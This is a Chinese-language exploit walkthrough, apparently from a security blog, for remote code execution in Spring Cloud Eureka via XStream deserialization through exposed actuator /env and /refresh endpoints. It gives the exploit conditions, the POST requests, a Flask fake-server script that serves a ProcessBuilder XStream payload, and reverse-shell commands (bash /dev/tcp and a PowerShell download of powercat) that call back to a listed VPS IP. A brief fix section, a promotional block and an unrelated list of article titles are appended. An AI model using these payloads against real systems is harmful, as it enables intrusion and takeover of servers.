一、漏洞概述

Eureka 是 Spring Cloud Netflix 模块的子模块,它是 Spring Cloud 对 Netflix Eureka 的二次封装,主要负责 Spring Cloud 的服务注册与发现功能,开发人员只需引入相关依赖和注解轻松将 Spring Boot 与 Eureka 进行整合。

安全人员(Michael Stepankin)发现,服务注册与发现功能可能被滥用,当 eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL地址并/refresh 触发目标机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload。目标机器解析 payload,触发 XStream 反序列化,造成 RCE 漏洞。

二、利用条件

1.目标可出网

2.目标使用的 eureka-client < 1.8.7(存在 spring-cloud-starter-netflix-eureka-client 依赖)

3.可用 POST 方式请求目标网站的 /env 接口,并设置zone属性

4.可用 POST 方式请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)

三、漏洞环境

Web服务器:Windows Server 2012, JDK8u131 (1.13.190.222)

VPS: Ubuntu 16.04.7 LTS (162.14.73.205)

四、正常访问

访问URL: http://1.13.190.222:64000/env , 得到一些json格式的敏感数据。

五、漏洞利用

【私信回复“资料”获取】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记

提前在VPS服务器准备相关文件和监听服务,利用VPS python起的fake server 串联调用执行代码。

Web服务器:Windows Server 2012, JDK8u131(1.13.190.222)

VPS: Ubuntu 16 (162.14.73.205)

步骤一:架设脚本

响应恶意 XStream payload 的 python 脚本示例(依赖Flask),脚本还需要配合弹shell命令。

对于Linux,可以利用目标机器上自带的 python 来反弹shell。

对于Windows,可以利用 powercat.ps1 来反弹shell。

启动脚本 python3 eureka-rce.py

Flask Server 8883

步骤二:NC监听

File Server 8000

对于windows平台弹 shell,用python3 -m http.server 8000,快速搭建powercat.ps1 文件下载服务。

使用 nc 监听端口,等待反弹 shell

nc -lvp 8885

步骤三:设置defaultZone

设置 eureka.client.serviceUrl.defaultZone 属性

版本1:spring 1.x

POST /env
Content-Type: application/x-www-form-urlencodedeureka.client.serviceUrl.defaultZone=http://162.14.73.205:8883/

版本2:spring 2.x

POST /actuator/env
Content-Type: application/json{"name":"eureka.client.serviceUrl.defaultZone","value":"http://162.14.73.205:8883"}

返回200,body内容为{"eureka.client.serviceUrl.defaultZone":"http://162.14.73.205:8883/"},即设置成功。

步骤四:刷新配置

版本1:spring 1.x

版本2:spring 2.x

返回200,body [] 为刷新成功。

接到Shell

六、漏洞修复

可考虑禁用/env接口(endpoints.env.enabled= false),但需要不影响业务/运维。通常考虑对/env接口进行鉴权,通过在pom.xml文件下引入spring-boot-starter-security依赖,并在application.properties中开启security功能,配置访问账号密码,重启应用。

pom.xml
<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-security</artifactId>
</dependency>application.properties
management.security.enabled=true
security.user.name=administrator
security.user.password=123456

附录

1.python脚本

# -*- coding: utf-8 -*-
# home.php?mod=space&uid=59738    : 2022-3-11 20点48分
# home.php?mod=space&uid=210785    : eureka-rce.py# linux反弹shell
#             <string>/bin/bash</string>
#             <string>-c</string>
#             <string>bash -i >& /dev/tcp/162.14.73.205/8885 0>&1</string># windows反弹shell
#              <string>powershell</string>
#              <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string># windows反弹shell
#              <string>cmd.exe</string>
#              <string>/c</string>
#              <string>ping %COMPUTERNAME%.6f9796ab.dns.bypass.eu.org</string># windows dnslog     https://dig.pm/
#              <string>cmd.exe</string>
#              <string>/c</string>
#              <string>ping 757013cd.dns.bypass.eu.org</string>from flask import Flask, Responseapp = Flask(__name__)@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods = ['GET', 'POST'])
def catch_all(path):xml = """<linked-hash-set><jdk.nashorn.internal.objects.NativeString><value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"><dataHandler><dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"><is class="javax.crypto.CipherInputStream"><cipher class="javax.crypto.NullCipher"><serviceIterator class="javax.imageio.spi.FilterIterator"><iter class="javax.imageio.spi.FilterIterator"><iter class="java.util.Collections$EmptyIterator"/><next class="java.lang.ProcessBuilder"><command>
<string>powershell</string>
<string>IEX (New-Object System.Net.Webclient).DownloadString('http://162.14.73.205:8000/powercat.ps1');powercat -c 162.14.73.205 -p 8885 -e cmd</string></command><redirectErrorStream>false</redirectErrorStream></next></iter><filter class="javax.imageio.ImageIO$ContainsFilter"><method><class>java.lang.ProcessBuilder</class><name>start</name><parameter-types/></method><name>foo</name></filter><next class="string">foo</next></serviceIterator><lock/></cipher><input class="java.lang.ProcessBuilder$NullInputStream"/><ibuffer></ibuffer></is></dataSource></dataHandler></value></jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""return Response(xml, mimetype='application/xml')
if __name__ == "__main__":app.run(host='0.0.0.0', port=8883)

2.其他接口利用

/env : 获取环境属性,数据库密码等,如数据库在外网并且未进行白名单限制,可拿数据库权限。

/mappings: 获取接口列表,如接口未鉴权,可进一步获得敏感信息。

/dump: 获得内存快照,配合VisualVM 可进一步获得敏感信息。

/trace:获取认证信息,类似druid/index.html泄露session等认证信息,可进一步利用权限突破。

【web安全】Spring Boot eureka xstream 反序列化相关推荐

  1. Spring Boot+Eureka+Spring Cloud微服务快速上手项目实战

    说明 我看了一些教程要么写的太入门.要么就是写的太抽象.真正好的文章应该是快速使人受益的而不是浪费时间.本文通过一个包括组织.部门.员工等服务交互的案例让刚接触spring cloud微服务的朋友快速 ...

  2. spring boot(二):web综合开发

    上篇文章介绍了Spring boot初级教程:spring boot(一):入门篇,方便大家快速入门.了解实践Spring boot特性:本篇文章接着上篇内容继续为大家介绍spring boot的其它 ...

  3. Spring boot web(2):web综合开发

    1 web开发 Spring boot web 开发非常简单,其中包括常用的 json输出.filters.property.log等 1.1 json接口开发 在以前的Spring 开发我么提供js ...

  4. Spring Boot - 开发Web应用

    为什么80%的码农都做不了架构师?>>>    原文 静态资源访问 Spring Boot默认提供静态资源目录位置需置于classpath下,目录名需符合如下规则: /static ...

  5. (转)Spring Boot(二):Web 综合开发

    http://www.ityouknow.com/springboot/2016/02/03/spring-boot-web.html 上篇文章介绍了 Spring Boot 初级教程:Spring ...

  6. Spring Boot(二):Web 综合开发

    Spring Boot(二):Web 综合开发 上篇文章介绍了 Spring Boot 初级教程:Spring Boot(一):入门篇,方便大家快速入门.了解实践 Spring Boot 特性:本篇文 ...

  7. Spring Boot/Cloud干货汇总(持续更新:20180226版)

    抽空对本号推送的Spring相关内容做个汇总整理,包括: - Spring - Spring Boot - Spring cloud - 其他Spring干货内容 Spring Boot专题 基础入门 ...

  8. Spring干货汇总(含Spring Boot与Spring Cloud)

    周末抽空对本号推送的Spring相关内容做个汇总整理(包括spring boot.spring cloud等),方便大家查阅. Spring Boot专题 基础入门内容 SpringBoot快速入门 ...

  9. Spring Cloud Eureka 入门 (三)服务消费者详解

    2019独角兽企业重金招聘Python工程师标准>>> 摘要: 原创出处:www.bysocket.com 泥瓦匠BYSocket 希望转载,保留摘要,谢谢! "真正的进步 ...

最新文章

  1. Apollo 自动驾驶开发套件(D-KIT)
  2. SpringHibernate4
  3. 等值首尾和-----------2012年12月27日
  4. nginx反向代理模块配置详解_nginx反向代理配置详解
  5. 如何使用数据库引擎优化顾问优化数据库
  6. 微信小程序超级占内存_微信小程序彻底拯救16GB手机 小程序与APP占用内存对比...
  7. 2018最新中国知名区块链公司排行榜
  8. 滑动切换下一个视频,点击暂停视频,再次点击播放视频,很多案列pc预览正常,真机调试就不能用了;此案例我手机是可以用的,废话不多说直接上源码
  9. 怎么测试ftp服务器上传文件,ftp服务器文件上传测试
  10. facebook登陆ios
  11. VBA教程初级(五):复杂数组
  12. ei指什么_EI是什么
  13. Anbox源码分析(三)——Anbox渲染原理(源码分析)
  14. 数据产品新人的三大有毒问题,你犯了吗?
  15. 数据采集---高清壁纸
  16. SAP的萨班斯法案SOA解决方案
  17. 调查计算机对运算能力的影响,计算器对运算能力的影响
  18. 微信支付认证和ssl-https
  19. excel自动化的第一个实用例子(宿舍分饭)
  20. 并发编程之原子性及同步锁

热门文章

  1. DayDayUp之Job:牛客网—算法工程师—剑指offer之66道在线编程(解决思路及其代码)——21~40
  2. MPU6050参考代码
  3. MySql 隐式转换
  4. 如何使用IcoMoon字体图标
  5. android双击返回键退出程序的实现
  6. dede_arctype|栏目表
  7. POJ1988 Cube Stacking
  8. Win API函数SetWindowOrgEx与SetViewportOrgEx
  9. ESP8266--学习笔记(八)串口源码分析
  10. Hadoop自动安装脚本